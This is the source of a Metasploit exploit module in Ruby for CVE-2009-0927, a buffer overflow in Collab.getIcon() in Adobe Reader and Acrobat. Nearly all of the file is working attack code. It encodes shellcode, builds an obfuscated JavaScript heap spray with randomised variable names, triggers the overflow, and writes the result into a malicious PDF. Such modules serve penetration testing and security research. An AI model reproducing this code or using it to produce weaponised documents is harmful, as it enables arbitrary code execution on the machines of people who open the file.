metasploit-framework/modules/exploits/windows/fileformat/adobe_geticon.rb

123 lines
3.8 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/pdf'
require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::PDF
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Collab.getIcon() Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat.
Affected versions include < 7.1.1, < 8.1.3, and < 9.1. By creating a specially
crafted pdf that a contains malformed Collab.getIcon() call, an attacker may
be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'MC',
'Didier Stevens <didier.stevens[at]gmail.com>',
'jduck'
],
'References' =>
[
[ 'CVE', '2009-0927' ],
[ 'OSVDB', '53647' ],
[ 'ZDI', '09-014' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
# test results (on Windows XP SP3)
# reader 7.0.5 - no trigger
# reader 7.0.8 - no trigger
# reader 7.0.9 - no trigger
# reader 7.1.0 - no trigger
# reader 7.1.1 - reported not vulnerable
# reader 8.0.0 - works
# reader 8.1.2 - works
# reader 8.1.3 - reported not vulnerable
# reader 9.0.0 - works
# reader 9.1.0 - reported not vulnerable
[ 'Adobe Reader Universal (JS Heap Spray)', { 'Ret' => '' } ],
],
'DisclosureDate' => 'Mar 24 2009',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)
end
def exploit
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Make some nops
nops = Rex::Text.to_unescape(make_nops(4))
# Randomize variables
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)
rand9 = rand_text_alpha(rand(100) + 1)
rand10 = rand_text_alpha(rand(100) + 1)
rand11 = rand_text_alpha(rand(100) + 1)
rand12 = rand_text_alpha(rand(100) + 1)
script = %Q|
var #{rand1} = unescape("#{shellcode}");
var #{rand2} ="";
for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
#{rand4} = #{rand2} + #{rand1};
#{rand5} = unescape("#{nops}");
#{rand6} = 20;
#{rand7} = #{rand6}+#{rand4}.length
while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
#{rand8} = #{rand5}.substring(0, #{rand7});
#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});
while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};
#{rand10} = new Array();
for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};
var #{rand12} = unescape("%0a");
while(#{rand12}.length < 0x4000) #{rand12}+=#{rand12};
#{rand12} = "N."+#{rand12};
Collab.getIcon(#{rand12});
|
# Create the pdf
#pdf = make_pdf(script)
pdf = CreatePDF(script)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end
end